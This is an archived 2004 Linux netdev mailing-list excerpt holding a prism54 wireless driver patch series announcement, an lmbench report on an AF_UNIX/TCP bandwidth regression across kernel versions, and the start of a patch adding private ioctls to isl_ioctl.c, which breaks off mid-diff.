protocol="application/pgp-signature"; boundary="RGnAp+RkZMffi58C" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5260 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --RGnAp+RkZMffi58C Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Jeff, Please apply the following patches to linux-2.6.7-rc1. These patches bring the kernel tree up to sync with prism54.org's 1.2's release. [PATCH 1/14 linux-2.6.7-rc1] prism54: add new private ioctls [PATCH 2/14 linux-2.6.7-rc1] prism54: reset card on tx_timeout [PATCH 3/14 linux-2.6.7-rc1] prism54: add iwspy support [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in monitor= mode [PATCH 5/14 linux-2.6.7-rc1] prism54: new prism54 kernel compatibility [PATCH 6/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 74, 75 [PATCH 7/14 linux-2.6.7-rc1] prism54: Fix 2.4 build [PATCH 8/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 39, 73 [PATCH 9/14 linux-2.6.7-rc1] prism54: Fix prism54.org bug 77; strengthened = oid transaction [PATCH 10/14 linux-2.6.7-rc1] prism54: Don't allow mib reads while unconfig= ured [PATCH 11/14 linux-2.6.7-rc1] prism54: Touched up kernel compatibility [PATCH 12/14 linux-2.6.7-rc1] prism54: Start using likely/unlikely [PATCH 13/14 linux-2.6.7-rc1] prism54: Fix 2.4 SMP build [PATCH 14/14 linux-2.6.7-rc1] prism54: Fix channel stats; bump to 1.2 Luis =09 --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --RGnAp+RkZMffi58C Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbKLat1JN+IKUl4RAopEAKCcfzcbKfe/oHHS2OSmTn1ZUH/9FwCgkWx7 VfqwWACzI0XT9byCLXuPG78= =sF73 -----END PGP SIGNATURE----- --RGnAp+RkZMffi58C-- From yusufg@outblaze.com Mon May 24 01:29:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:29:32 -0700 (PDT) Received: from corpmail.outblaze.com (corpmail.outblaze.com [203.86.166.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8TSKO012015 for ; Mon, 24 May 2004 01:29:28 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by corpmail.outblaze.com (Postfix) with ESMTP id 76D7437B1B for ; Mon, 24 May 2004 08:29:27 +0000 (GMT) Received: from yusufg.portal2.com (210-177-227-130.outblaze.com [210.177.227.130]) by corpmail.outblaze.com (Postfix) with SMTP id F06CD16DD8D for ; Mon, 24 May 2004 08:29:26 +0000 (GMT) Received: (qmail 23047 invoked by uid 500); 24 May 2004 08:29:26 -0000 Date: Mon, 24 May 2004 16:29:26 +0800 From: Yusuf Goolamabbas To: linux-kernel@vger.kernel.org Cc: netdev@oss.sgi.com Subject: AF_UNIX/tcp bw regression in 2.6.6/2.6.7-rc1 compared to 2.4.22-2188.nptl Message-ID: <20040524082925.GA23012@outblaze.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2i X-AntiVirus: checked by Vexira MailArmor (version: 2.0.2-5; VAE: 6.25.0.3; VDF: 6.25.0.74; host: corpmail.outblaze.com) X-archive-position: 5259 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yusufg@outblaze.com Precedence: bulk X-list: netdev Hi, I ran lmbench 2.0.4 on a P3-500 with 384 MB ram box with the latest Fedora Core 1 kernel (2.4.22-2188.nptl, 2.6.6 and 2.6.7-rc1 (CONFIG_REGPARM=y) There seems to be regression in AF_UNIX/tcp bandwidth in 2.6.7-rc1 I did two runs per kernel output from lmbench follows cc: netdev in case this is of interest to networking hackers L M B E N C H 2 . 0 S U M M A R Y ------------------------------------ Basic system parameters ---------------------------------------------------- Host OS Description Mhz --------- ------------- ----------------------- ---- 214.2.168 Linux 2.4.22- i686-pc-linux-gnu 407 214.2.168 Linux 2.4.22- i686-pc-linux-gnu 407 214.2.168 Linux 2.6.7-r i686-pc-linux-gnu 407 214.2.168 Linux 2.6.7-r i686-pc-linux-gnu 407 214.2.168 Linux 2.6.6 i686-pc-linux-gnu 407 214.2.168 Linux 2.6.6 i686-pc-linux-gnu 407 Processor, Processes - times in microseconds - smaller is better ---------------------------------------------------------------- Host OS Mhz null null open selct sig sig fork exec sh call I/O stat clos TCP inst hndl proc proc proc --------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- ---- 214.2.168 Linux 2.4.22- 407 0.77 1.16 6.59 8.03 35.6 2.14 6.80 340. 1387 5802 214.2.168 Linux 2.4.22- 407 0.77 1.14 6.58 7.93 37.8 2.14 6.80 341. 1492 5980 214.2.168 Linux 2.6.7-r 407 0.42 0.72 7.01 8.14 28.2 1.99 7.67 383. 1381 5920 214.2.168 Linux 2.6.7-r 407 0.42 0.71 6.97 8.04 30.4 1.99 7.62 390. 1386 5949 214.2.168 Linux 2.6.6 407 0.42 0.74 6.93 8.19 28.0 1.99 7.03 425. 1412 6018 214.2.168 Linux 2.6.6 407 0.42 0.73 7.01 8.26 28.3 1.99 7.04 425. 1430 6083 Context switching - times in microseconds - smaller is better ------------------------------------------------------------- Host OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K ctxsw ctxsw ctxsw ctxsw ctxsw ctxsw ctxsw --------- ------------- ----- ------ ------ ------ ------ ------- ------- 214.2.168 Linux 2.4.22- 1.870 18.3 82.7 19.6 178.4 29.0 258.9 214.2.168 Linux 2.4.22- 1.970 18.2 52.4 23.6 182.3 36.9 260.4 214.2.168 Linux 2.6.7-r 2.840 20.7 88.7 22.1 185.0 30.7 271.7 214.2.168 Linux 2.6.7-r 2.900 20.7 57.3 35.7 192.2 44.7 265.8 214.2.168 Linux 2.6.6 2.280 19.3 54.5 20.6 190.8 34.7 268.6 214.2.168 Linux 2.6.6 2.490 19.2 54.3 28.1 164.6 32.5 266.3 *Local* Communication latencies in microseconds - smaller is better ------------------------------------------------------------------- Host OS 2p/0K Pipe AF UDP RPC/ TCP RPC/ TCP ctxsw UNIX UDP TCP conn --------- ------------- ----- ----- ---- ----- ----- ----- ----- ---- 214.2.168 Linux 2.4.22- 1.870 10.7 20.3 47.7 108.3 62.4 144.5 248. 214.2.168 Linux 2.4.22- 1.970 10.8 20.3 48.4 108.2 71.1 144.3 242. 214.2.168 Linux 2.6.7-r 2.840 12.4 31.6 52.6 113.4 71.9 141.2 249. 214.2.168 Linux 2.6.7-r 2.900 12.8 31.9 56.4 113.1 70.8 141.3 254. 214.2.168 Linux 2.6.6 2.280 11.0 21.5 51.1 112.0 75.0 149.2 252. 214.2.168 Linux 2.6.6 2.490 11.1 21.8 53.0 111.7 78.7 146.3 255. File & VM system latencies in microseconds - smaller is better -------------------------------------------------------------- Host OS 0K File 10K File Mmap Prot Page Create Delete Create Delete Latency Fault Fault --------- ------------- ------ ------ ------ ------ ------- ----- ----- 214.2.168 Linux 2.4.22- 156.9 39.1 418.8 105.8 1946.0 0.427 3.00000 214.2.168 Linux 2.4.22- 156.8 39.1 434.8 98.9 1961.0 0.464 3.00000 214.2.168 Linux 2.6.7-r 150.2 31.8 406.5 105.1 2394.0 0.869 4.00000 214.2.168 Linux 2.6.7-r 150.2 31.5 406.5 105.0 2468.0 0.828 4.00000 214.2.168 Linux 2.6.6 147.1 30.4 406.2 103.8 2449.0 1.078 4.00000 214.2.168 Linux 2.6.6 147.6 30.3 401.8 105.1 2584.0 1.172 4.00000 *Local* Communication bandwidths in MB/s - bigger is better ----------------------------------------------------------- Host OS Pipe AF TCP File Mmap Bcopy Bcopy Mem Mem UNIX reread reread (libc) (hand) read write --------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- ----- 214.2.168 Linux 2.4.22- 186. 118. 85.9 148.8 229.9 75.5 56.2 230. 74.6 214.2.168 Linux 2.4.22- 194. 118. 71.8 146.8 230.7 75.5 56.1 230. 74.6 214.2.168 Linux 2.6.7-r 144. 99.1 58.8 144.4 228.4 73.0 55.6 228. 73.0 214.2.168 Linux 2.6.7-r 162. 99.0 62.7 143.6 228.2 72.7 55.5 228. 73.0 214.2.168 Linux 2.6.6 183. 108. 56.6 142.7 228.3 73.0 55.5 228. 72.9 214.2.168 Linux 2.6.6 174. 119. 64.5 144.3 228.1 73.2 55.5 228. 72.9 Memory latencies in nanoseconds - smaller is better (WARNING - may not be correct, check graphs) --------------------------------------------------- Host OS Mhz L1 $ L2 $ Main mem Guesses --------- ------------- ---- ----- ------ -------- ------- 214.2.168 Linux 2.4.22- 407 7.361 54.1 254.6 214.2.168 Linux 2.4.22- 407 7.362 54.1 254.6 214.2.168 Linux 2.6.7-r 407 7.468 55.0 257.7 214.2.168 Linux 2.6.7-r 407 7.468 86.5 257.5 214.2.168 Linux 2.6.6 407 7.469 55.2 257.8 214.2.168 Linux 2.6.6 407 7.468 55.2 257.8 From mcgrof@studorgs.rutgers.edu Mon May 24 01:30:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:30:37 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8UGKO012199 for ; Mon, 24 May 2004 01:30:16 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 92F6CF9D53; Mon, 24 May 2004 04:30:15 -0400 (EDT) Date: Mon, 24 May 2004 04:30:15 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 1/14] prism54: add new private ioctls Message-ID: <20040524083015.GB3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="WxezjuMNsgvRf6mf" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5261 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --WxezjuMNsgvRf6mf Content-Type: multipart/mixed; boundary="RUvhGz2nhX7DIu1B" Content-Disposition: inline --RUvhGz2nhX7DIu1B Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-03-18 Aurelien Alleaume * oid_mgt.[c,h] : added type to oids. New functions : oid_cpu_to_le(), mgt_le_to_cpu() and mgt_response_to_str(). * isl_ioctl.c : use private sub-ioctls. Added a bunch of private sub-ioctls. Removed the le??_to_cpu and cpu_to_le??. Give the error code when sending wireless events. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --RUvhGz2nhX7DIu1B Content-Type: text/plain; charset=unknown-8bit Content-Disposition: attachment; filename="01-new-private-ioctls.patch" Content-Transfer-Encoding: quoted-printable 2004-03-18 Aurelien Alleaume * oid_mgt.[c,h] : added type to oids. New functions : oid_cpu_to_le(), mgt_le_to_cpu() and mgt_response_to_str(). * isl_ioctl.c : use private sub-ioctls. Added a bunch of private sub-ioctls. Removed the le??_to_cpu and cpu_to_le??. Give the error code when sending wireless events. Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.143 retrieving revision 1.144 diff -u -r1.143 -r1.144 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 18 Mar 2004 05= :25:24 -0000 1.143 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 18 Mar 2004 11= :16:23 -0000 1.144 @@ -1,7 +1,7 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.140 2004/02/28 0= 3:06:07 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.144 2004/03/18 1= 1:16:23 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. - * (C) 2003 Aurelien Alleaume + * (C) 2003,2004 Aurelien Alleaume * (C) 2003 Herbert Valerio Riedel * (C) 2003 Luis R. Rodriguez * @@ -87,9 +87,9 @@ =20 /* For now, just catch early the Repeater and Secondary modes here */ if (iw_mode =3D=3D IW_MODE_REPEAT || iw_mode =3D=3D IW_MODE_SECOND) { - printk(KERN_DEBUG "%s(): Sorry, Repeater mode and Secondary mode " - "are not yet supported by this driver.\n", - __FUNCTION__); + printk(KERN_DEBUG + "%s(): Sorry, Repeater mode and Secondary mode " + "are not yet supported by this driver.\n", __FUNCTION__); return -EINVAL; } =20 @@ -143,8 +143,8 @@ { u32 t; struct obj_buffer psm_buffer =3D { - .size =3D cpu_to_le32(PSM_BUFFER_SIZE), - .addr =3D cpu_to_le32(priv->device_psm_buffer) + .size =3D PSM_BUFFER_SIZE, + .addr =3D priv->device_psm_buffer }; =20 mgt_set(priv, DOT11_OID_CHANNEL, &init_channel); @@ -166,7 +166,7 @@ * for it save old values */ if (init_mode > IW_MODE_MONITOR || init_mode < IW_MODE_AUTO) { printk(KERN_DEBUG "%s(): You passed a non-valid init_mode. " - "Using default mode\n", __FUNCTION__); + "Using default mode\n", __FUNCTION__); init_mode =3D CARD_DEFAULT_IW_MODE; } /* This sets all of the mode-dependent values */ @@ -285,7 +285,7 @@ /* Commit in Monitor mode is not necessary, also setting essid * in Monitor mode does not make sense and isn't allowed for this * device's firmware */ - if(priv->iw_mode !=3D IW_MODE_MONITOR) + if (priv->iw_mode !=3D IW_MODE_MONITOR) return mgt_set_request(priv, DOT11_OID_SSID, 0, NULL); return 0; } @@ -531,20 +531,20 @@ mgt_get_request(priv, DOT11_OID_SUPPORTEDFREQUENCIES, 0, NULL, &r); freq =3D r.ptr; =20 - range->num_channels =3D le16_to_cpu(freq->nr); - range->num_frequency =3D le16_to_cpu(freq->nr); + range->num_channels =3D freq->nr; + range->num_frequency =3D freq->nr; =20 /* Frequencies are not listed in the right order. The reordering is proba= bly * firmware dependant and thus should work for everyone. */ - m =3D min(IW_MAX_FREQUENCIES, (int) le16_to_cpu(freq->nr)); + m =3D min(IW_MAX_FREQUENCIES, (int) freq->nr); for (i =3D 0; i < m - 12; i++) { - range->freq[i].m =3D le16_to_cpu(freq->mhz[12 + i]); + range->freq[i].m =3D freq->mhz[12 + i]; range->freq[i].e =3D 6; range->freq[i].i =3D i + 1; } for (i =3D m - 12; i < m; i++) { - range->freq[i].m =3D le16_to_cpu(freq->mhz[i - m + 12]); + range->freq[i].m =3D freq->mhz[i - m + 12]; range->freq[i].e =3D 6; range->freq[i].i =3D i + 23; } @@ -655,7 +655,7 @@ #define CAP_CRYPT 0x10 =20 /* Mode */ - cap =3D le16_to_cpu(bss->capinfo); + cap =3D bss->capinfo; iwe.u.mode =3D 0; if (cap & CAP_ESS) iwe.u.mode =3D IW_MODE_MASTER; @@ -747,7 +747,7 @@ bsslist =3D r.ptr; =20 /* ok now, scan the list and translate its info */ - for (i =3D 0; i < min(IW_MAX_AP, (int) le32_to_cpu(bsslist->nr)); i++) + for (i =3D 0; i < min(IW_MAX_AP, (int) bsslist->nr); i++) current_ev =3D prism54_translate_bss(ndev, current_ev, extra + IW_SCAN_MAX_DATA, &(bsslist->bsslist[i]), @@ -776,7 +776,7 @@ memcpy(essid.octets, extra, dwrq->length); } else essid.length =3D 0; -=09 + if (priv->iw_mode !=3D IW_MODE_MONITOR) return mgt_set_request(priv, DOT11_OID_SSID, 0, &essid); =20 @@ -862,38 +862,39 @@ char *data; int ret, i; union oid_res_t r; -=09 + if (vwrq->value =3D=3D -1) { /* auto mode. No limit. */ profile =3D 1; return mgt_set_request(priv, DOT11_OID_PROFILES, 0, &profile); } -=09 - if((ret =3D mgt_get_request(priv, DOT11_OID_SUPPORTEDRATES, 0, NULL, &r))) + + if ((ret =3D + mgt_get_request(priv, DOT11_OID_SUPPORTEDRATES, 0, NULL, &r))) return ret; - =09 + rate =3D (u32) (vwrq->value / 500000); data =3D r.ptr; i =3D 0; -=09 - while(data[i]) { - if(rate && (data[i] =3D=3D rate)) { + + while (data[i]) { + if (rate && (data[i] =3D=3D rate)) { break; } - if(vwrq->value =3D=3D i) { + if (vwrq->value =3D=3D i) { break; } data[i] |=3D 0x80; i++; } - =09 - if(!data[i]) { + + if (!data[i]) { return -EINVAL; } -=09 + data[i] |=3D 0x80; data[i + 1] =3D 0; -=09 + /* Now, check if we want a fixed or auto value */ if (vwrq->fixed) { data[0] =3D data[i]; @@ -908,14 +909,14 @@ i++; } printk("0\n"); -*/=09 +*/ profile =3D -1; ret =3D mgt_set_request(priv, DOT11_OID_PROFILES, 0, &profile); ret |=3D mgt_set_request(priv, DOT11_OID_EXTENDEDRATES, 0, data); ret |=3D mgt_set_request(priv, DOT11_OID_RATES, 0, data); -=09 + kfree(r.ptr); -=09 + return ret; } =20 @@ -931,17 +932,17 @@ union oid_res_t r; =20 /* Get the current bit rate */ - if((rvalue =3D mgt_get_request(priv, GEN_OID_LINKSTATE, 0, NULL, &r))) + if ((rvalue =3D mgt_get_request(priv, GEN_OID_LINKSTATE, 0, NULL, &r))) return rvalue; vwrq->value =3D r.u * 500000; =20 /* request the device for the enabled rates */ - if((rvalue =3D mgt_get_request(priv, DOT11_OID_RATES, 0, NULL, &r))) + if ((rvalue =3D mgt_get_request(priv, DOT11_OID_RATES, 0, NULL, &r))) return rvalue; data =3D r.ptr; vwrq->fixed =3D (data[0] !=3D 0) && (data[1] =3D=3D 0); kfree(r.ptr); -=09 + return 0; } =20 @@ -1225,7 +1226,7 @@ =20 rvalue =3D mgt_get_request(priv, OID_INL_OUTPUTPOWER, 0, NULL, &r); /* intersil firmware operates in 0.25 dBm (1/4 dBm) */ - vwrq->value =3D (s32)r.u / 4; + vwrq->value =3D (s32) r.u / 4; vwrq->fixed =3D 1; /* radio is not turned of * btw: how is possible to turn off only the radio=20 @@ -1271,28 +1272,41 @@ } =20 static int -prism54_set_beacon(struct net_device *ndev, struct iw_request_info *info, - __u32 * uwrq, char *extra) +prism54_get_oid(struct net_device *ndev, struct iw_request_info *info, + struct iw_point *dwrq, char *extra) { - int rvalue =3D mgt_set_request((islpci_private *) netdev_priv(ndev), - DOT11_OID_BEACONPERIOD, 0, uwrq); + union oid_res_t r; + int rvalue; + enum oid_num_t n =3D dwrq->flags; =20 - return (rvalue ? rvalue : -EINPROGRESS); + rvalue =3D mgt_get_request((islpci_private *) ndev->priv, n, 0, NULL, &r); + dwrq->length =3D mgt_response_to_str(n, &r, extra); + if ((isl_oid[n].flags & OID_FLAG_TYPE) !=3D OID_TYPE_U32) + kfree(r.ptr); + return rvalue; } =20 static int -prism54_get_beacon(struct net_device *ndev, struct iw_request_info *info, - __u32 * uwrq, char *extra) +prism54_set_u32(struct net_device *ndev, struct iw_request_info *info, + __u32 * uwrq, char *extra) { - union oid_res_t r; - int rvalue; + /* + u32 *i =3D (int *) extra; + int param =3D *i; + int u =3D *(i + 1); + */ + u32 oid =3D uwrq[0], u =3D uwrq[1]; =20 - rvalue =3D - mgt_get_request((islpci_private *) netdev_priv(ndev), - DOT11_OID_BEACONPERIOD, 0, NULL, &r); - *uwrq =3D r.u; + return mgt_set_request((islpci_private *) ndev->priv, oid, 0, &u); +} =20 - return rvalue; +static int +prism54_set_raw(struct net_device *ndev, struct iw_request_info *info, + struct iw_point *dwrq, char *extra) +{ + u32 oid =3D dwrq->flags; + + return mgt_set_request((islpci_private *) ndev->priv, oid, 0, extra); } =20 void @@ -1511,8 +1525,9 @@ return -ENOMEM; =20 /* Tell the card to kick every client */ - mlme->id =3D cpu_to_le16(0); - rvalue =3D mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, = mlme); + mlme->id =3D 0; + rvalue =3D + mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, mlme); kfree(mlme); =20 return rvalue; @@ -1535,8 +1550,9 @@ =20 /* Tell the card to only kick the corresponding bastard */ memcpy(mlme->address, addr->sa_data, ETH_ALEN); - mlme->id =3D cpu_to_le16(-1); - rvalue =3D mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, = mlme); + mlme->id =3D -1; + rvalue =3D + mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, mlme); =20 kfree(mlme); =20 @@ -1551,12 +1567,12 @@ { const u8 *a =3D mlme->address; int n =3D snprintf(dest, IW_CUSTOM_MAX, - "%s %s %2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X %s", + "%s %s %2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X %s (%2.2X)", str, - ((priv->iw_mode =3D=3D IW_MODE_MASTER) ? "to" : "from"), + ((priv->iw_mode =3D=3D IW_MODE_MASTER) ? "from" : "to"), a[0], a[1], a[2], a[3], a[4], a[5], (error ? (mlme->code ? " : REJECTED " : " : ACCEPTED ") - : "")); + : ""), mlme->code); BUG_ON(n > IW_CUSTOM_MAX); *length =3D n; } @@ -1598,14 +1614,15 @@ { islpci_private *priv =3D netdev_priv(ndev); =20 - if (le32_to_cpu(bitrate)) { + if (bitrate) { if (priv->iw_mode =3D=3D IW_MODE_INFRA) { union iwreq_data uwrq; prism54_get_wap(ndev, NULL, (struct sockaddr *) &uwrq, NULL); wireless_send_event(ndev, SIOCGIWAP, &uwrq, NULL); } else - send_simple_event(netdev_priv(ndev), "Link established"); + send_simple_event(netdev_priv(ndev), + "Link established"); } else send_simple_event(netdev_priv(ndev), "Link lost"); } @@ -1765,15 +1782,14 @@ static void handle_request(islpci_private *priv, struct obj_mlme *mlme, enum oid_num_t= oid) { - if (((le16_to_cpu(mlme->state) =3D=3D DOT11_STATE_AUTHING) || - (le16_to_cpu(mlme->state) =3D=3D DOT11_STATE_ASSOCING)) + if (((mlme->state =3D=3D DOT11_STATE_AUTHING) || + (mlme->state =3D=3D DOT11_STATE_ASSOCING)) && mgt_mlme_answer(priv)) { /* Someone is requesting auth and we must respond. Just send back * the trap with error code set accordingly. */ - mlme->code =3D cpu_to_le16(prism54_mac_accept(&priv->acl, - mlme-> - address) ? 0 : 1); + mlme->code =3D prism54_mac_accept(&priv->acl, + mlme->address) ? 0 : 1; mgt_set_request(priv, oid, 0, mlme); } } @@ -1797,6 +1813,13 @@ * suited. We use the more flexible custom event facility. */ =20 + /* I fear prism54_process_bss_data won't work with big endian data */ + if ((oid =3D=3D DOT11_OID_BEACON) || (oid =3D=3D DOT11_OID_PROBE)) + prism54_process_bss_data(priv, oid, mlme->address, + payload, len); + + mgt_le_to_cpu(isl_oid[oid].flags & OID_FLAG_TYPE, (void *) mlme); + switch (oid) { =20 case GEN_OID_LINKSTATE: @@ -1831,8 +1854,6 @@ break; =20 case DOT11_OID_BEACON: - prism54_process_bss_data(priv, oid, mlme->address, - payload, len); send_formatted_event(priv, "Received a beacon from an unkown AP", mlme, 0); @@ -1840,8 +1861,6 @@ =20 case DOT11_OID_PROBE: /* we received a probe from a client. */ - prism54_process_bss_data(priv, oid, mlme->address, - payload, len); send_formatted_event(priv, "Received a probe from client", mlme, 0); break; @@ -1915,13 +1934,6 @@ } =20 int -prism54_ioctl(struct net_device *ndev, struct ifreq *rq, int cmd) -{ - /* should we really support this old stuff ? */ - return -EOPNOTSUPP; -} - -int prism54_set_wpa(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { @@ -1952,7 +1964,7 @@ =20 int prism54_set_maxframeburst(struct net_device *ndev, struct iw_request_info = *info, - __u32 *uwrq, char *extra) + __u32 * uwrq, char *extra) { islpci_private *priv =3D netdev_priv(ndev); u32 max_burst; @@ -1960,39 +1972,39 @@ max_burst =3D (*uwrq) ? *uwrq : CARD_DEFAULT_MAXFRAMEBURST; mgt_set_request(priv, DOT11_OID_MAXFRAMEBURST, 0, &max_burst); =20 - return -EINPROGRESS; /* Call commit handler */ + return -EINPROGRESS; /* Call commit handler */ } =20 int prism54_get_maxframeburst(struct net_device *ndev, struct iw_request_info = *info, - __u32 *uwrq, char *extra) + __u32 * uwrq, char *extra) { islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue; -=09 + rvalue =3D mgt_get_request(priv, DOT11_OID_MAXFRAMEBURST, 0, NULL, &r); *uwrq =3D r.u; -=09 + return rvalue; } =20 int prism54_set_profile(struct net_device *ndev, struct iw_request_info *info, - __u32 *uwrq, char *extra) + __u32 * uwrq, char *extra) { islpci_private *priv =3D netdev_priv(ndev); u32 profile; =20 profile =3D (*uwrq) ? *uwrq : CARD_DEFAULT_PROFILE; mgt_set_request(priv, DOT11_OID_PROFILES, 0, &profile); -=09 - return -EINPROGRESS; /* Call commit handler */ + + return -EINPROGRESS; /* Call commit handler */ } =20 int prism54_get_profile(struct net_device *ndev, struct iw_request_info *info, - __u32 *uwrq, char *extra) + __u32 * uwrq, char *extra) { islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; @@ -2005,11 +2017,11 @@ } =20 int -prism54_oid(struct net_device *ndev, struct iw_request_info *info, - __u32 *uwrq, char *extra) +prism54_debug_oid(struct net_device *ndev, struct iw_request_info *info, + __u32 * uwrq, char *extra) { islpci_private *priv =3D netdev_priv(ndev); -=09 + priv->priv_oid =3D *uwrq; printk("%s: oid 0x%08X\n", ndev->name, *uwrq); =20 @@ -2017,22 +2029,26 @@ } =20 int -prism54_get_oid(struct net_device *ndev, struct iw_request_info *info, - struct iw_point *data, char *extra) +prism54_debug_get_oid(struct net_device *ndev, struct iw_request_info *inf= o, + struct iw_point *data, char *extra) { islpci_private *priv =3D netdev_priv(ndev); struct islpci_mgmtframe *response =3D NULL; int ret =3D -EIO, response_op =3D PIMFOR_OP_ERROR; -=09 + printk("%s: get_oid 0x%08X\n", ndev->name, priv->priv_oid); data->length =3D 0; -=09 + if (islpci_get_state(priv) >=3D PRV_STATE_INIT) { - ret =3D islpci_mgt_transaction(priv->ndev, PIMFOR_OP_GET, priv->priv_oid= , extra, 256, &response); + ret =3D + islpci_mgt_transaction(priv->ndev, PIMFOR_OP_GET, + priv->priv_oid, extra, 256, + &response); response_op =3D response->header->operation; printk("%s: ret: %i\n", ndev->name, ret); printk("%s: response_op: %i\n", ndev->name, response_op); - if (ret || !response || response->header->operation =3D=3D PIMFOR_OP_ERR= OR) { + if (ret || !response + || response->header->operation =3D=3D PIMFOR_OP_ERROR) { if (response) { islpci_mgt_release(response); } @@ -2046,34 +2062,39 @@ printk("%s: len: %i\n", ndev->name, data->length); } } -=09 + return ret; } =20 int -prism54_set_oid(struct net_device *ndev, struct iw_request_info *info, - struct iw_point *data, char *extra) +prism54_debug_set_oid(struct net_device *ndev, struct iw_request_info *inf= o, + struct iw_point *data, char *extra) { islpci_private *priv =3D netdev_priv(ndev); struct islpci_mgmtframe *response =3D NULL; int ret =3D 0, response_op =3D PIMFOR_OP_ERROR; -=09 - printk("%s: set_oid 0x%08X\tlen: %d\n", ndev->name, priv->priv_oid, data-= >length); -=09 + + printk("%s: set_oid 0x%08X\tlen: %d\n", ndev->name, priv->priv_oid, + data->length); + if (islpci_get_state(priv) >=3D PRV_STATE_INIT) { - ret =3D islpci_mgt_transaction(priv->ndev, PIMFOR_OP_SET, priv->priv_oid= , extra, data->length, &response); + ret =3D + islpci_mgt_transaction(priv->ndev, PIMFOR_OP_SET, + priv->priv_oid, extra, data->length, + &response); printk("%s: ret: %i\n", ndev->name, ret); if (!ret) { response_op =3D response->header->operation; - printk("%s: response_op: %i\n", ndev->name, response_op); + printk("%s: response_op: %i\n", ndev->name, + response_op); islpci_mgt_release(response); } if (ret || response_op =3D=3D PIMFOR_OP_ERROR) { printk("%s: EIO\n", ndev->name); - ret =3D -EIO; + ret =3D -EIO; } } -=09 + return ret; } =20 @@ -2129,33 +2150,44 @@ /* The low order bit identify a SET (0) or a GET (1) ioctl. */ =20 #define PRISM54_RESET SIOCIWFIRSTPRIV -#define PRISM54_GET_BEACON SIOCIWFIRSTPRIV+1 -#define PRISM54_SET_BEACON SIOCIWFIRSTPRIV+2 -#define PRISM54_GET_POLICY SIOCIWFIRSTPRIV+3 -#define PRISM54_SET_POLICY SIOCIWFIRSTPRIV+4 -#define PRISM54_GET_MAC SIOCIWFIRSTPRIV+5 -#define PRISM54_ADD_MAC SIOCIWFIRSTPRIV+6 +#define PRISM54_GET_POLICY SIOCIWFIRSTPRIV+1 +#define PRISM54_SET_POLICY SIOCIWFIRSTPRIV+2 +#define PRISM54_GET_MAC 